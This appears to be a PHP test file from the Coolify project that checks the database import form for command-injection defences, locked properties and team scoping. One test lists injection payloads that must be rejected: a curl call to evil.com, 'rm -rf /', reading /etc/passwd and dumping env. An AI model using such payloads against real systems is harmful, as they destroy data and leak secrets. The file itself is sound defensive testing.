mirror of
https://github.com/coollabsio/coolify.git
synced 2026-06-14 03:19:51 +00:00
c5fbf78bd8
Escape generated restore file paths before composing docker and shell cleanup commands so paths with spaces or metacharacters cannot break command execution. Update import form security coverage to target ImportForm directly.
127 lines
5.3 KiB
PHP
127 lines
5.3 KiB
PHP
<?php
|
|
|
|
use App\Livewire\Project\Database\ImportForm;
|
|
use App\Support\ValidationPatterns;
|
|
use Livewire\Attributes\Locked;
|
|
|
|
describe('container name validation', function () {
|
|
test('isValidContainerName accepts valid container names', function () {
|
|
expect(ValidationPatterns::isValidContainerName('my-container'))->toBeTrue();
|
|
expect(ValidationPatterns::isValidContainerName('my_container'))->toBeTrue();
|
|
expect(ValidationPatterns::isValidContainerName('container123'))->toBeTrue();
|
|
expect(ValidationPatterns::isValidContainerName('my.container.name'))->toBeTrue();
|
|
expect(ValidationPatterns::isValidContainerName('a'))->toBeTrue();
|
|
expect(ValidationPatterns::isValidContainerName('abc-def_ghi.jkl'))->toBeTrue();
|
|
});
|
|
|
|
test('isValidContainerName rejects command injection payloads', function () {
|
|
// Command substitution
|
|
expect(ValidationPatterns::isValidContainerName('$(curl http://evil.com/$(whoami))'))->toBeFalse();
|
|
expect(ValidationPatterns::isValidContainerName('$(whoami)'))->toBeFalse();
|
|
|
|
// Backtick injection
|
|
expect(ValidationPatterns::isValidContainerName('`id`'))->toBeFalse();
|
|
|
|
// Semicolon chaining
|
|
expect(ValidationPatterns::isValidContainerName('container;rm -rf /'))->toBeFalse();
|
|
|
|
// Pipe injection
|
|
expect(ValidationPatterns::isValidContainerName('container|cat /etc/passwd'))->toBeFalse();
|
|
|
|
// Ampersand chaining
|
|
expect(ValidationPatterns::isValidContainerName('container&&env'))->toBeFalse();
|
|
|
|
// Spaces (not valid in Docker container names)
|
|
expect(ValidationPatterns::isValidContainerName('container name'))->toBeFalse();
|
|
|
|
// Newlines
|
|
expect(ValidationPatterns::isValidContainerName("container\nid"))->toBeFalse();
|
|
|
|
// Must start with alphanumeric
|
|
expect(ValidationPatterns::isValidContainerName('-container'))->toBeFalse();
|
|
expect(ValidationPatterns::isValidContainerName('.container'))->toBeFalse();
|
|
expect(ValidationPatterns::isValidContainerName('_container'))->toBeFalse();
|
|
});
|
|
});
|
|
|
|
describe('locked properties', function () {
|
|
test('container property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(ImportForm::class, 'container');
|
|
$attributes = $property->getAttributes(Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
|
|
test('serverId property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(ImportForm::class, 'serverId');
|
|
$attributes = $property->getAttributes(Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
|
|
test('resourceId property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(ImportForm::class, 'resourceId');
|
|
$attributes = $property->getAttributes(Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
|
|
test('resourceType property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(ImportForm::class, 'resourceType');
|
|
$attributes = $property->getAttributes(Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
|
|
test('resourceUuid property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(ImportForm::class, 'resourceUuid');
|
|
$attributes = $property->getAttributes(Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
|
|
test('resourceDbType property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(ImportForm::class, 'resourceDbType');
|
|
$attributes = $property->getAttributes(Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
});
|
|
|
|
describe('server method uses team scoping', function () {
|
|
test('server computed property calls ownedByCurrentTeam', function () {
|
|
$method = new ReflectionMethod(ImportForm::class, 'server');
|
|
|
|
// Extract the server method body
|
|
$startLine = $method->getStartLine();
|
|
$endLine = $method->getEndLine();
|
|
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
|
$methodBody = implode('', $lines);
|
|
|
|
expect($methodBody)->toContain('ownedByCurrentTeam');
|
|
expect($methodBody)->not->toContain('Server::find($this->serverId)');
|
|
});
|
|
});
|
|
|
|
describe('ImportForm component uses shared ValidationPatterns', function () {
|
|
test('runImport references ValidationPatterns for container validation', function () {
|
|
$method = new ReflectionMethod(ImportForm::class, 'runImport');
|
|
$startLine = $method->getStartLine();
|
|
$endLine = $method->getEndLine();
|
|
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
|
$methodBody = implode('', $lines);
|
|
|
|
expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
|
|
});
|
|
|
|
test('restoreFromS3 references ValidationPatterns for container validation', function () {
|
|
$method = new ReflectionMethod(ImportForm::class, 'restoreFromS3');
|
|
$startLine = $method->getStartLine();
|
|
$endLine = $method->getEndLine();
|
|
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
|
$methodBody = implode('', $lines);
|
|
|
|
expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
|
|
});
|
|
});
|